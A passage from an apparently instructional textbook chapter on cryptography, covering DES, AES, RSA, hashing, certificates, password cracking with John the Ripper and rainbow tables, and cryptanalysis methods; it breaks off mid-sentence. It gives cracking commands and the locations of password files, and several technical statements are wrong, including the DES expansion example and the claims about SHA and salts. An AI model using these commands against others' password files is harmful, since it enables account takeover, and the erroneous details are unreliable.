Once the round key has been generated for the current round, the next step is to address the half of the original block that is going to be input into the round function. Recall that the two halves are each 32 bits. The round key is 48 bits. That means that the round key does not match the size of the half block it is going to be applied to. You cannot really XOR a 48-bit round key with a 32 bit half block, unless you simply ignore 16 bits of the round key. If you did so, you would basically be making the round key effectively shorter and thus less secure, so this is not a good option.

The 32-bit half needs to be expanded to 48 bits before it is XORed with the round key. This is accomplished by replicating some bits so that the 32-bit half becomes 48 bits.

This expansion process is actually quite simple. The 32 bits that is to be expanded is broken into 4-bit sections. The bits on each end are duplicated. If you divide 32 by 4 the answer is 8. So there are eight of these 4-bit groupings. If you duplicate the end bits of each

grouping, that will add 16 bits to the original 32, thus providing a total of 48 bits.

It is also important to keep in mind that it was the bits on each end that were duplicated; this will be a key item later in the round function. Perhaps this example will help you to understand what is occurring at this point. Let us assume 32 bits as shown here:

11110011010111111111000101011001

Now divide that into eight sections each of 4 bits, as shown here:

1111 0011 0101 1111 1111 0001 0101 1001

Now each of these has its end bits duplicated, as you see here:

1111 becomes 111111

0011 becomes 000111

0101 becomes 001011

1111 becomes 111111

1111 becomes 111111

0001 becomes 000011

0101 becomes 001011

1001 becomes 110011

The resultant 48-bit string is now XORed with the 48-bit round key. That is the extent of the round key being used in each round. It is now dispensed with, and on the next round another 48-bit round key will be derived from the two 28-bit halves of the 56-bit cipher key.

Now we have the 48-bit output of the XOR operation. That is now split into eight sections of 6 bits each. For the rest of this explanation we will focus on just one of those 6-bit sections, but keep in mind that the same process is done to all eight sections.

The 6-bit section is used as the input to an s-box. An s-box is a table that takes input and produces an output based on that input. In other words, it is a substitution box that substitutes new values for the input. The s-boxes used in DES are published, the first of which is shown in Figure 6-1.

	x0000x	x0001x	x0010x	x0011x	x0100x	x0101x	x0110x	x0111x	x1000x	x1001x	x1010x	x1011x	x1100x	x1101x	x1110x	x1111x
0yyyy0	12	1	10	15	9	2	6	8	0	13	3	4	14	7	5	11
0yyyy1	10	15	4	2	7	12	9	5	6	1	13	14	0	11	3	8
1yyyy0	9	14	15	5	2	8	12	3	7	0	4	10	1	13	11	6
1yyyy1	4	3	2	12	9	5	15	10	11	14	1	7	6	0	8	13

FIGURE 6-1 The first DES s-box

Notice this is simply a lookup table. The 2 bits on either end are shown in the left hand column and the 4 bits in the middle are shown in the top row. They are matched,

and the resulting value is the output of the s-box. For example, with the previous demonstration numbers we were using, our first block would be 111111. So you find 1xxxx1 on the left and x1111x on the top. The resulting value is 13 in decimal or 1101 in binary.

At the end of this you have produced 32 bits that are the output of the round function. Then in keeping with the Feistel structure, they get XORED with the 32 bits that were not input into the round function, and the two halves are swapped. DES is a 16-round Feistel cipher, meaning this process is repeated 16 times.

There are only two parts still left to discuss regarding DES. The first is the initial permutation, called the IP, then the final permutation, which is an inverse of the IP.

One advantage that DES offers is efficiency. Some implementations of DES offer data throughput rates on the order of hundreds of megabytes per second. In plain English, what this means is that it can encrypt a great deal of data very quickly. You might assume that 16 steps would cause encryption to be quite slow; however, that is not the case using modern computer equipment. The problem with DES is the same problem that all symmetric key algorithms have: How do you transmit the key without it becoming compromised? This issue led to the development of public key encryption.

Another advantage of DES is the complexity with which it scrambles the text. DES uses 16 separate rounds to scramble the text. This yields a scrambled text that is very difficult to break. DES is no longer used, because the short key size is no longer adequate against brute force attacks. However, the overall structure, called a Feistel network or Feistel cipher, is the basis for many algorithms that are still used today, such as Blowfish.

As has been mentioned, DES uses a key that is no longer considered long enough. Modern computers can brute-force crack a 56-bit key. The algorithm used in DES is actually quite good. It was the first widely used Feistel structure, and that structure is still a good basis for block ciphers.

As computers became more powerful, the search began for a DES replacement. Ultimately, the Rijndael cipher would be used for the Advanced Encryption Standard (AES) and would replace DES. In the interim, the idea was to use multiple DES keys to encrypt. Ideally, three separate 56-bit keys were used, thus this interim solution was called triple-DES or 3DES. In some cases only two DES keys were used, and the algorithm alternated applying them.

Blowfish

Blowfish is a symmetric block cipher. This means that it uses a single key to both encrypt and decrypt the message and works on “blocks” of the message at a time. It uses a variable-length key ranging from 32 to 448 bits. This flexibility in key size allows you to use it in various situations. Blowfish was designed in 1993 by Bruce Schneier. It has been analyzed extensively by the cryptography community and has gained wide acceptance. It is also a non-commercial (that is, free of charge) product, thus making it attractive to budget-conscious organizations.

FYI: Block Ciphers and Stream Ciphers

A block cipher operates on blocks of fixed length, often 64 or 128 bits. In a block cipher, a cryptographic key and algorithm are applied to a block of data (for example, 64 contiguous bits) at once as a group rather than to one bit at a time. Stream ciphers simply take the text as an ongoing stream, encrypting each bit as it encounters it. Stream ciphers tend to be faster than block ciphers. A stream cipher generates a keystream (a sequence of bits used as a key). Encryption is accomplished by combining the keystream with the plaintext, usually with the bitwise XOR operation.

AES

Advanced Encryption Standard (AES) uses the Rijndael algorithm. The developers of this algorithm have suggested multiple alternative pronunciations for the name, including “reign dahl,” “rain doll,” and “rhine dahl.” This algorithm was developed by two Belgian researchers, Joan Daemen of Proton World International and Vincent Rijmen, a postdoctoral researcher in the Electrical Engineering Department of Katholieke Universiteit Leuven.

AES specifies three key sizes: 128, 192, and 256 bits. By comparison, DES keys are 56 bits long, and Blowfish allows varying lengths up to 448 bits. AES uses a block cipher. Interested readers can find detailed specifications for this algorithm, including a detailed discussion of the mathematics, at <https://csrc.nist.gov/csrc/media/publications/fips/197/final/documents/fip197.pdf>.

This algorithm is widely used (as shown in the firewall discussion in Chapter 4, “Firewall Practical Applications”), considered very secure, and therefore a good choice for many encryption scenarios.

For those readers who want more detail, here is a general overview of the process used in AES. The

algorithm consists of a few relatively simple steps that are used during various rounds. The steps are described here:

- **AddRoundKey:** Each byte of the state is combined with the round key using bitwise XOR. This is where Rijndael applies the round key generated from the key schedule.
- **SubBytes:** A nonlinear substitution step where each byte is replaced with another according to a lookup table. This is where the contents of the matrix are put through the s-boxes. Each of the s-boxes is 8 bits.
- **ShiftRows:** A transposition step where each row of the state is shifted cyclically a certain number of steps. In this step the first row is left unchanged. Every byte in the second row is shifted one byte to the left (with the far left wrapping around). Every byte of the third row is shifted two to the left, and every byte of the fourth row is shifted three to the left (again with wrapping around).
- **MixColumns:** A mixing operation which operates on the columns of the state, combining the 4 bytes in each column. In the MixColumns step, each column of the state is multiplied with a fixed polynomial.

With the aforementioned steps in mind, this is how those steps are executed in the Rijndael cipher. For 128-bit keys, there are 10 rounds. For 192-bit keys, there are 12 rounds. For 256-bit keys, there are 14 rounds.

- **Key Expansion:** The first step is that the round keys are derived from the cipher key using Rijndael's key schedule. The key schedule is how a key is generated for each round, based on the cryptographic key that was exchanged between the sender and receiver.
- **Initial Round:** This initial round will only execute the AddRoundKey step. This is simply XORing with the round key. This initial round is executed once, then the subsequent rounds will be executed.
- **Rounds:** This phase of the algorithm executes several steps, in the following order:
 - SubBytes
 - ShiftRows
 - MixColumns
 - AddRoundKey
- **Final Round:** This round has everything the rounds phase has, except no MixColumns:
 - SubBytes

- ShiftRows
- AddRoundKey

In the AddRoundKey step, the sub-key is XORed with the state. For each round, a sub-key is derived from the main key using Rijndael's key schedule; each sub-key is the same size as the state.

IDEA

International Data Encryption Algorithm (IDEA) is another block cipher. This particular algorithm works with 64-bit blocks of data two at a time and uses a 128-bit key. The procedure is fairly complicated and uses sub-keys generated from the key to carry out a series of modular arithmetic and XOR operations on segments of the 64-bit plaintext block. The encryption scheme uses a total of 52 16-bit sub-keys. These are generated from the 128-bit sub-key with the following procedure:

- The 128-bit key is split into eight 16-bit keys, which are the first eight sub-keys.
- The digits of the 128-bit key are shifted 25 bits to the left to make a new key, which is then split into the next eight 16-bit sub-keys.
- The second step is repeated until the 52 sub-keys

have been generated. The encryption consists of eight rounds of encrypting.

Serpent

This algorithm was invented by Ross Anderson, Eli Biham, and Lars Knudsen. It was submitted to the AES competition but was not selected, in large part due to the fact that its performance is slower than AES. However, in the ensuing years since the AES competition, computational power has increased dramatically. This has led some experts to reconsider the use of Serpent on modern systems.

Twofish

Twofish was one of the five finalists of the AES contest (which we will explore in more detail in Chapter 7, “Virtual Private Networks”). It is related to the block cipher Blowfish, and Bruce Schneier also was part of the team that worked on this algorithm. Twofish is a Feistel cipher that uses a 128-bit block size and key sizes of 128, 192, and 256 bits. It also has 16 rounds, like DES. Like Blowfish, Twofish is not patented and is in the public domain and can be used without restrictions by anyone who wishes to use it.

Selecting a Block Cipher

If you have decided on a block cipher, which one do you choose? We have examined several here, all with different strengths and weaknesses. No single answer is right for everyone. Several factors are involved in the selection of an encryption algorithm. Here are a few things to keep in mind:

- If you encrypt large amounts of data, then speed of the encryption might be almost as important as security.
- If you have standard business data, then almost any of the well-known, accepted encryption methods will probably be secure enough, and you can focus on things such as key length and speed in your decision-making process. However, if you are sending highly sensitive data, such as research or military data, you should be more concerned about security, even at the expense of speed.
- Variable-length keys are important only if you need them. If you have some encryption products used inside the United States and some outside, then at least two lengths are needed. If you have some data you want more strongly encrypted even if it means slower speed, and other data that needs to be fast but not as secure, then a variable-length key is also important.

Key Stretching

It is sometimes necessary to lengthen a key to make it stronger. This process is often called *key stretching*. The key is put through an algorithm that will stretch it, or make it longer. There are two widely used key stretching algorithms:

- **PBKDF2** (Password-Based Key Derivation Function 2) is part of PKCS #5 v. 2.01. It applies some function (like a hash or HMAC) to the password or passphrase along with salt to produce a derived key. (The salt concept is discussed later, in the “Hashing” section.)
- **bcrypt** is used with passwords, and it essentially uses a derivation of the Blowfish algorithm, converted to a hashing algorithm, to hash a password and add salt to it.

PRNG

You have already seen that symmetric ciphers all need a cipher key. How are those generated? In fact, algorithms called pseudo-random number generators (PRNG) are used to generate these keys. Truly random numbers are only generated by natural phenomena such as radioactive decay. This is not convenient for encrypting data. So instead, we use algorithms that produce numbers that are “random enough,” and these algorithms are pseudo-random number generators. What makes a PRNG “good enough”? There are three properties that one desires:

- **Uncorrelated sequences:** The sequences are not correlated. You cannot take a given stretch of numbers (say 16 bits) and use that to predict subsequent bits.
- **Long period:** Ideally, the series of digits (usually bits) should never have any repeating patterns. However, the reality is that there will eventually be some repetition. The distance (in digits or bits) between repetitions is the period. The longer the period the better.
- **Uniformity:** Pseudo-random numbers are usually represented in binary format. There should be an equal number of 1s and 0s, though they need not be

distributed in any discernible pattern. The sequence of random numbers should be uniform and unbiased.

The German Federal Office for Information Security (BSI) has established four criteria for quality of random number generators:

- **K1:** A sequence of random numbers with a low probability of containing identical consecutive elements.
- **K2:** A sequence of numbers that is indistinguishable from “true random” numbers according to specified statistical tests.
- **K3:** It should be impossible for any attacker to calculate, or otherwise guess, from any given sub-sequence, or from any previous or future values in the sequence.
- **K4:** It should be impossible for an attacker to calculate, or guess from an inner state of the generator, any previous numbers in the sequence or any previous inner generator states.

Public Key Encryption

Public key encryption is essentially the opposite of single-key encryption. With any public key encryption algorithm, one key is used to encrypt a message (called the public key) and another is used to decrypt the message (the private key). You can freely distribute your public key so that anyone can encrypt a message to send to you, but only you have the private key and only you can decrypt the message. The actual mathematics behind the creation and applications of the keys is a bit complex and beyond the scope of this book. Many public key algorithms are dependent, to some extent, on large prime numbers, factoring, and number theory.

RSA

The RSA method is a widely used encryption algorithm. You cannot discuss cryptography without at least some discussion of RSA. This public key method was developed in 1977 by three mathematicians: Ron Rivest, Adi Shamir, and Len Adleman. The name *RSA* is derived from the first letter of each mathematician's last name .

One significant advantage of RSA is that it is a public key encryption method. That means there are no concerns with distributing the keys for the encryption.

However, RSA is much slower than symmetric ciphers. In fact, in general, asymmetric ciphers are slower than symmetric ciphers.

The steps to create the key are as follow:

1. Generate two large random primes, p and q , of approximately equal size.
2. Pick two numbers so that when they are multiplied together the product will be the size you want (that is, 2048 bits, 4096 bits, etc).
3. Now multiply p and q to get n .
4. Let $n = pq$.
5. Multiply Euler's totient for each of these primes. If you are not familiar with this concept, the Euler's Totient is the total number of co-prime numbers. Two numbers are considered co-prime if they have no common factors. For example, if the original number is 7, then 5 and 7 would be co-prime. It just so happens that for prime numbers, this is always the number minus 1. For example, 7 has 6 numbers that are co-prime to it (if you think about this a bit you will see that 1, 2, 3, 4, 5, 6 are all co-prime with 7).
6. Let $m = (p - 1)(q - 1)$.
7. Select another number; call this number e . You

want to pick e so that it is co-prime to m .

8. Find a number d that when multiplied by e and modulo m would yield 1. (Note: Modulo means to divide two numbers and return the remainder. For example, 8 modulo 3 would be 2.)

9. Find d , such that $de \bmod m \equiv 1$.

Now you publish e and n as the public key and keep d and n as the secret key.

To encrypt you simply take your message raised to the e power and modulo n :

$$C = M^e \% n$$

To decrypt you take the ciphertext, and raise it to the d power modulo n :

$$P = C^d \% n$$

If all this seems a bit complex to you, you must realize that many people work in network security without being familiar with the actual algorithm for RSA (or any other cryptography for that matter). You can also get a better understanding of RSA by walking through the algorithm utilizing small integers.

Normally RSA is done with very large integers. To make the math easy to follow, this example uses small integers (Note: This example is from Wikipedia):

1. Choose two distinct prime numbers, such as $p = 61$ and $q = 53$.
2. Compute $n = pq$ giving $n = 61 \times 53 = 3233$.
3. Compute the totient of the product as $\Phi(n) = (p - 1)(q - 1)$ giving $\Phi(3233) = (61 - 1)(53 - 1) = 3120$.
4. Choose any number $1 < e < 3120$ that is co-prime to 3120. Choosing a prime number for e leaves us only to check that e is not a divisor of 3120. Let $e = 17$.
5. Compute d , as shown before such that $de \bmod m \equiv 1$; yielding $d = 2753$.
6. The **public key** is $(n = 3233, e = 17)$. For a padded plaintext message m , the encryption function is $m^{17} \pmod{3233}$.
7. The **private key** is $(n = 3233, d = 2753)$. For an encrypted ciphertext c , the decryption function is $c^{2753} \pmod{3233}$.

RSA is based on large prime numbers. You might think, “Couldn’t someone take the public key and use factoring to derive the private key?” Well, hypothetically, yes. However, it turns out that factoring really large numbers into their prime factors is pretty difficult. No

efficient algorithm exists for doing it. By “large numbers,” we mean that RSA can use 1024-, 2048-, 4096-bit and larger keys. Those make for some huge numbers. Of course, if anyone ever invents an efficient algorithm that will factor a large number into its prime factors, RSA would be dead.

RSA has become a popular encryption method. It is considered quite secure and is often used in situations where a high level of security is needed.

Diffie-Hellman

Now that you have seen RSA, consider a few other asymmetric algorithms. Probably the most well known is Diffie-Hellman, which was the first publicly described asymmetric algorithm.

This cryptographic protocol allows two parties to establish a shared key over an insecure channel. In other words, Diffie-Hellman is often used to allow parties to exchange a symmetric key through some unsecure medium, such as the Internet. It was developed by Whitfield Diffie and Martin Hellman in 1976. An interesting factoid is that the method had actually been developed a few years earlier by Malcolm J. Williamson of the British Intelligence Service, but it was classified.

ElGamal

ElGamal is based on the Diffie-Hellman key exchange algorithm just described. It was first described by Taher Elgamal in 1984. It is used in some versions of Pretty Good Privacy (PGP).

MQV

Like ElGamal, MQV (Menezes-Qu-Vanstone) is a protocol for key agreement that is based on Diffie-Hellman. It was first proposed by Menezes, Qu, and Vanstone in 1995 and then modified in 1998. MQV is incorporated in the public key standard IEEE P1363.

Digital Signature Algorithm

Digital Signature Algorithm (DSA) is described in U.S. Patent 5,231,668, filed July 26, 1991, and attributed to David W. Kravitz. It was adopted by the U.S. government in 1993 with FIPS 186. Although any asymmetric algorithm can be used for digital signatures, this algorithm was designed for that purpose.

Elliptic Curve

The Elliptic Curve algorithm was first described in 1985 by Victor Miller (IBM) and Neil Koblitz (University of Washington).

The security of Elliptic Curve cryptography is based on the fact that finding the discrete logarithm of a random elliptic curve element with respect to a publicly known base point is difficult to the point of being impractical to do.

The size of the elliptic curve determines the difficulty of the finding the algorithm, and thus the security of the implementation. The level of security afforded by an RSA-based system with a large modulus can be achieved with a much smaller elliptic curve group. There are actually several ECC algorithms. There is an ECC version of Diffie-Hellman, an ECC version of DSA, and many others.

The U.S. National Security Agency has endorsed ECC (Elliptic Curve Cryptography) by including schemes based on it in its Suite B set of recommended algorithms and allows their use for protecting information classified up to top secret with 384-bit keys.

Digital Signatures

A digital signature is using asymmetric cryptography, in reverse order. Consider a situation wherein the concern is not data confidentiality, but rather verifying who sent the message. Perhaps you get an e-mail from your boss telling you that you should take next week off with pay. It would be a good idea for you to verify this message indeed came from your boss, and is not a spoofed message from a colleague playing a prank. Digital signatures accomplish this.

Some part of the message, often a hash of the message, is encrypted (or signed) with the user's private key. Of course, because anyone can access that sender's public key, this process does nothing for confidentiality. But any recipient can verify the signature using the sender's public key, and be confident the sender really sent the message.

IDENTIFYING GOOD ENCRYPTION

Dozens of other encryption methods are released to the public for free or patented and sold for profit every year. However, this particular area of the computer industry is replete with frauds and charlatans. One need only search for “encryption” on any search engine to find a plethora of ads for the latest greatest “unbreakable” encryption. If you are not knowledgeable about encryption, how do you separate legitimate encryption methods from frauds?

Although no guaranteed way to detect fraud exists, the following guidelines should help you avoid most fraudulent encryption claims:

- **“Unbreakable”:** Anyone with any experience in cryptography knows that there is no such thing as an unbreakable code. Codes exist that have not yet been broken. Some codes are very hard to break. However, when someone claims that his method is completely unbreakable, you should be suspicious.
- **“Certified”:** No recognized certification process for encryption methods exists, so any “certification” the company has is totally worthless.
- **Inexperienced vendors:** Find out about the experience of any company marketing a new encryption method. What is the experience of the

people working with it? Do they have a background in math, encryption, or algorithms? If not, have they submitted their method to experts in peer-reviewed journals? Are they at least willing to disclose how their method works so that it can be fairly judged?

Some experts claim you should only use widely known methods such as Blowfish. I disagree. Having a secure system using less well-known or even new encryption methods is certainly possible. All the widely used methods of today were once new and untested. However, taking extra precautions to ensure that you are not being misled when using a less well-known method is necessary. To be clear, I am not in any way suggesting untested algorithms. For example, when the NIST had the contest that ended with selecting the Rijndael cipher to be AES, there were four other finalist algorithms that had been rigorously tested, but were rejected, some for performance issues. Those might be good algorithms to consider.

UNDERSTANDING DIGITAL SIGNATURES AND CERTIFICATES

A digital signature is not used to ensure the confidentiality of a message, but rather to guarantee who sent the message. This is referred to as non-repudiation. Essentially, a digital signature proves who the sender is. Digital signatures are actually rather simple, but clever. They simply reverse the asymmetric encryption process. Recall that in asymmetric encryption, the public key (which anyone can have access to) is used to encrypt a message to the recipient, and the private key (which is kept secure, and private) can decrypt it. With a digital signature, the sender encrypts something with his or her private key. If the recipient is able to decrypt that with the sender's public key, then it must have been sent by the person purported to have sent the message.

Digital Certificates

Remember from the asymmetric cryptography discussion that public keys are widely distributed and that getting someone's public key is fairly easy to do. You have also seen in the preceding section that public keys are also needed to verify a digital signature. As to how public keys are distributed, probably the most common way is through digital certificates. The digital certificate contains a public key and some means to verify whose public key it is.

X.509 is an international standard for the format and information contained in a digital certificate. X.509 is the most used type of digital certificate in the world. It is a digital document that contains a public key signed by the trusted third party, which is known as a certificate authority (CA). The contents of an X.509 certificate are

- Version
- Certificate holder's public key
- Serial number
- Certificate holder's distinguished name
- Certificate's validity period
- Unique name of certificate issuer
- Digital signature of issuer

■ Signature algorithm identifier

A certificate authority issues digital certificates. The primary role of the CA is to digitally sign and publish the public key bound to a given user. It is an entity trusted by one or more users to manage certificates.

A registration authority (RA) is often used to take the burden off of a CA by handling verification prior to certificates being issued. RAs act as a proxy between users and CAs. RAs receive a request, authenticate it, and forward it to the CA.

A public key infrastructure (PKI) distributes digital certificates. This is a network of trusted CA servers that serves as the infrastructure for distributing digital certificates that contain public keys. A PKI is an arrangement that binds public keys with respective user identities by means of a CA.

What if a certificate is expired, or revoked? A certificate revocation list (CRL) is a list of certificates that have been revoked for one reason or another. Certificate authorities publish their own certificate revocation lists. A newer method for verifying certificates is Online Certificate Status Protocol (OCSP), a real-time protocol for verifying certificates.

There are several different types of X.509 certificates.

They each have at least the elements listed at the beginning of this section, but are for different purposes. The most common certificate types are listed here.

- Domain validation certificates are among the most common. These are used to secure communication with a specific domain. This is a low-cost certificate that website administrators use to provide TLS for a given domain.
- Wildcard certificates, as the name suggests, can be used more widely, usually with multiple sub-domains of a given domain. So rather than have a different X.509 certificate for each sub-domain, you would use a wildcard certificate for all sub-domains.
- Code-signing certificates are X.509 certificates used to digitally sign some type of computer code. These usually require more validation of the person requesting the certificate, before they can be issued.
- Machine/computer certificates are X.509 certificates assigned to a specific machine. These are often used in authentication protocols. For example, in order for the machine to sign into the network, it must authenticate using its machine certificate.
- User certificates are used for individual users. Like machine/computer certificates, these are often used

for authentication. The user must present his or her certificate to authenticate prior to accessing some resource.

- E-mail certificates are used for securing e-mail. Secure Multipurpose Internet Mail Extensions (S/MIME) uses X.509 certificates to secure e-mail communications. PGP, of course, uses PGP certificates.
- A Subject Alternative Name (SAN) is not so much a type of certificate as a special field in X.509. It allows you to specify additional items to be protected by this single certificate. These could be additional domains or IP addresses.
- Root certificates are used for root authorities. These are usually self-signed by that authority.

PGP Certificates

Pretty Good Privacy (PGP) is not a specific encryption algorithm, but rather a system. It offers digital signatures, asymmetric encryption, and symmetric encryption. It is often found in e-mail clients. PGP was introduced in the early 1990s, and it's considered to be a very good system.

PGP uses its own certificate format. The main difference, however, is that PGP certificates are self-

generated. They are not generated by any certificate authority.

Hashing

A hash function, H , is a function that takes a variable-size input m and returns a fixed-size string. The value that is returned is called the hash value h or the digest. This can be expressed mathematically as $h = H(m)$. There are three properties a hash function should have:

- Variable length input with fixed length output. In other words, no matter what you put into the hashing algorithm, the same sized output is produced.
- $H(x)$ is one-way; you cannot “un-hash” something.
- $H(x)$ is collision-free. Two different input values do not produce the same output. A collision refers to a situation where two different inputs yield the same output. A hash function should not have collisions.

Hashing is how Windows stores passwords. For example, if your password is “password,” then Windows will first hash it, producing something like:

[Click here to view code image](#)

```
0BD181063899C9239016320B50D3E896693A96DF
```

It then stores that hash in the SAM (Security Accounts Manager) file in the Windows System directory. When you log on, Windows cannot “un-hash” your password, so what Windows does is take whatever password you type in, hash it, and then compare the result with what is in the SAM file. If they match (exactly) then you can log in.

Storing Windows passwords is just one application of hashing. There are others. For example, in computer forensics, hashing a drive before starting a forensic examination is common practice. Then later you can always hash it again to see whether anything was changed (accidentally or intentionally). If the second hash matches the first, then nothing has been changed.

In relationship to hashing, the term *salt* refers to random bits that are used as one of the inputs to the hash. Essentially, the salt is intermixed with the message that is to be hashed. Salt data complicates dictionary attacks that use pre-encryption of dictionary entries. It also is effective against rainbow table attacks. For best security, the salt value is kept secret, separate from the password database/file.

MD5

MD5 is a 128-bit hash that is specified by RFC 1321. It was designed by Ron Rivest in 1991 to replace an earlier hash function, MD4. In 1996, a flaw was found with the design of MD5. Although it was not a clearly fatal weakness, cryptographers began recommending the use of other algorithms, such as SHA-1. The biggest problem with MD5 is that it is not collision resistant.

SHA

The Secure Hash Algorithm is perhaps the most widely used hash algorithm today. Several versions of SHA now exist. SHA (all versions) is considered secure and collision free. The versions include

- **SHA-1:** This 160-bit hash function resembles the MD5 algorithm. This was designed by the National Security Agency (NSA) to be part of the Digital Signature Algorithm.
- **SHA-2:** This is actually two similar hash functions, with different block sizes, known as SHA-256 and SHA-512. They differ in the word size; SHA-256 uses 32-byte (256 bits) words whereas SHA-512 uses 64-byte (512 bits) words. There are also truncated versions of each standard, known as SHA-

224 and SHA-384. These were also designed by the NSA.

- **SHA-3:** This is the latest version of SHA. It was adopted in October of 2012.

RIPEMD

RACE Integrity Primitives Evaluation Message Digest is a 160-bit hash algorithm developed by Hans Dobbertin, Antoon Bosselaers, and Bart Preneel. There exist 128-, 256-, and 320-bit versions of this algorithm, called RIPEMD-128, RIPEMD-256, and RIPEMD-320, respectively. These all replace the original RIPEMD, which was found to have collision issues. The larger bit sizes make this far more secure than MD5 or RIPEMD.

RIPEMD-160 was developed in Europe as part of RIPE project and is recommended by the German Security Agency. The authors of the algorithm describe RIPEMD as follows: “RIPEMD-160 is a fast cryptographic hash function that is tuned towards software implementations on 32-bit architectures. It has evolved from the 256-bit extension of MD4, which was introduced in 1990 by Ron Rivest. Its main design features are two different and independent parallel chains, the result of which are combined at the end of every application of the compression function.” To read

the authors' full explanation of RIPEMD-160, see www.esat.kuleuven.be/cosic/publications/article-317.pdf.

HAAVAL

HAAVAL is a cryptographic hash function. Unlike MD5, but like most other modern cryptographic hash functions, HAAVAL can produce hashes of different lengths. HAAVAL can produce hashes in lengths of 128 bits, 160 bits, 192 bits, 224 bits, and 256 bits. HAAVAL also allows users to specify the number of rounds (3, 4, or 5) to be used to generate the hash. HAAVAL was invented by Yuliang Zheng, Josef Pieprzyk, and Jennifer Seberry in 1992.

UNDERSTANDING AND USING DECRYPTION

Obviously, if one can encrypt a message, one can decrypt it as well. The preferred method is, of course, to have the key and the algorithm, and hopefully the software used to encrypt and then easily decrypt the message. However, people attempting to breach your security will not have the algorithm and key and will want to break your encrypted transmissions or data.

Decryption is a science much like encryption. It employs

various mathematical methods to crack encryption. You can find a number of utilities on the web that will actually crack encryption for you. As discussed earlier, no such thing exists as unbreakable encryption. However, the more secure an encryption technique is, the longer it will take to crack. If it takes months or years of dedicated effort to crack, then your data is secure. By the time someone cracks it, the information will likely no longer be relevant or useful to them.

Security professionals and security-savvy network administrators frequently use the same tools to inspect their systems that hackers use to try to break into them. Using the tools of hackers to try to crack an encryption method is a practical and straightforward way of testing data security.

CRACKING PASSWORDS

Although not exactly the same as breaking encrypted transmissions, cracking passwords is similar to it. If someone is able to successfully crack a password, particularly the administrator password, then other security measures are rendered irrelevant.

John the Ripper

John the Ripper is a password cracker popular with both network administrators and hackers. You can download it for free from www.openwall.com/john/.

This product is completely command line-based and has no Windows interface. It enables the user to select text files for word lists to attempt cracking a password. Although John the Ripper is less convenient to use because of its command-line interface, it has been around for a long time and is well regarded by both the security and hacking communities. Interestingly, a tool is available at www.openwall.com/passwdqc/ that ensures your passwords cannot easily be cracked by John the Ripper.

John the Ripper works with password files rather than attempting to crack live passwords on a given system. Passwords are usually encrypted and in a file on the operating system. Hackers frequently try to get that file off of a machine and download it to their own system so they can crack it at will. They might also look for discarded media in your dumpster in order to find old backup tapes that might contain password files. Each operating system stores that file in a different place:

- In Linux, it is `/etc/passwd`.
- In Windows 95, it is in a `.pwl` file.

- In Windows 2000 and beyond, it is in a hidden .sam file.

After you have downloaded John the Ripper, you can run it by typing in (at a command line) the word john followed by the file you want it to try to crack:

```
john passwd
```

To make it use a wordlist with rules only, type:

[Click here to view code image](#)

```
john -wordfile:/usr/dict/words -rules passwd
```

Cracked passwords will be printed to the terminal and saved in a file called john.pot, found in the directory into which you installed John the Ripper.

Using Rainbow Tables

In 1980 Martin Hellman described a cryptanalytic time-memory trade-off that reduces the time of cryptanalysis by using pre-calculated data stored in memory. Essentially, these types of password crackers are working with pre-calculated hashes of all passwords available within a certain character space, be that a-z or a-zA-z or a-zA-Z0-9 etc. These files are called rainbow tables. They are particularly useful when trying to crack hashes. Because a hash is a one-way function, the way to break it is to attempt to find a match. The attacker takes the hashed value and searches the rainbow tables seeking a match to the hash. If one is found, then the original text for the hash is found. Popular hacking tools such as Ophcrack depend on rainbow tables.

Using Other Password Crackers

Many other password crackers are available, many of which you can find on the Internet and download for free. The following list of websites might be useful in that search:

- Russian password crackers: www.password-crackers.com/crack.html
- Password recovery: www.elcomsoft.com/prs.html

■ LastBit password recovery:

<http://lastbit.com/mso/Default.asp>

Password crackers should be used only by administrators to test their own systems' defenses. Attempting to crack another person's password and infiltrate her system has both ethical and legal ramifications.

General Cryptanalysis

Rainbow tables are a way to get around passwords; however, cryptanalysis is the science of trying to find alternate ways to break cryptography. In most cases, it is not terribly successful. If you have watched the news in the past year or two, you are aware that the U.S. FBI has been unable to break the AES encryption on the iPhone. Cryptanalysis can be quite tedious, and with no guarantee of success. However, some common methods are discussed here.

Brute Force

This method simply involves trying every possible key. It is guaranteed to work, but is likely to take so long that it is simply not useable. For example, to break a Caesar cipher there are only 26 possible keys, which you can try in a very short time. But consider AES, with the smallest key size of 128 bits. If you tried 1 trillion keys a second, it could take 112,527,237,738,405,576,542 years to try them all. That is a bit longer than I care to wait!

Frequency Analysis

Frequency analysis involves looking at blocks of an encrypted message to determine if any common patterns exist. Initially, the analyst doesn't try to break the code but looks at the patterns in the message. In the English language, the letters *e* and *t* and words like *the*, *and*, *that*, *it*, and *is* are very common. Single letters that stand alone in a sentence are usually limited to *a* and *I*.

A determined cryptanalyst looks for these types of patterns and, over time, may be able to deduce the method used to encrypt the data. This process can sometimes be simple, or it may take a lot of effort. This method works only on the historical ciphers we discussed at the beginning of this chapter. It does not

work on modern algorithms.

Known Plaintext

This attack relies on the attacker having pairs of known plaintext along with the corresponding ciphertext. This gives the attacker a place to start attempting to derive the key. With modern ciphers, it would still take many billions of such combinations to have a chance at cracking the cipher. This method was, however, successful at cracking the German Naval Enigma. The code breakers at Bletchley Park realized that all German Naval messages ended with *Heil Hitler*. They used this known plaintext attack to crack the key.

Chosen Plaintext

In this attack, the attacker obtains the ciphertexts corresponding to a set of plaintexts of their own choosing. This allows the attacker to attempt to derive the key used and thus decrypt other messages encrypted with that key. This can be difficult, but it is not impossible. Advanced methods such as differential cryptanalysis are types of chosen plaintext attacks.

Related Key Attack

This is like a chosen-plaintext attack, except the attacker can obtain ciphertexts encrypted under two different keys. This is actually a very useful attack if you can obtain the plaintext and matching ciphertext.

Birthday Attack

This is an attack on cryptographic hashes, based on something called the birthday theorem. The basic idea is this: How many people would you need to have in a room to have a strong likelihood that two people would have the same birthday (month and day, but not year)?

Obviously, if you put 367 people in a room, at least 2 of them must have the same birthday, since there are only 365 days in a year, plus one more in a leap year.

The paradox is not asking how many people you need to guarantee a match, just how many you need to have a strong probability.

Even with 23 people in the room, you have a 50 percent chance that 2 will have the same birthday.

The probability that the first person does not share a birthday with any previous person is 100 percent, because there are no previous people in the set. That can

be written as $365/365$.

The second person has only one preceding person, and the odds that the second person has a birthday different from the first are $364/365$.

The third person might share a birthday with two preceding people, so the odds of having a birthday from either of the two preceding people are $363/365$. Because each of these are independent, we can compute the probability as follows:

$$365/365 \times 364/365 \times 363/365 \times 362/365 \dots \times 342/365$$

(342 is the probability the 23rd person shares a birthday with a preceding person.) When we convert these to decimal values, it yields (truncating at the third decimal point):

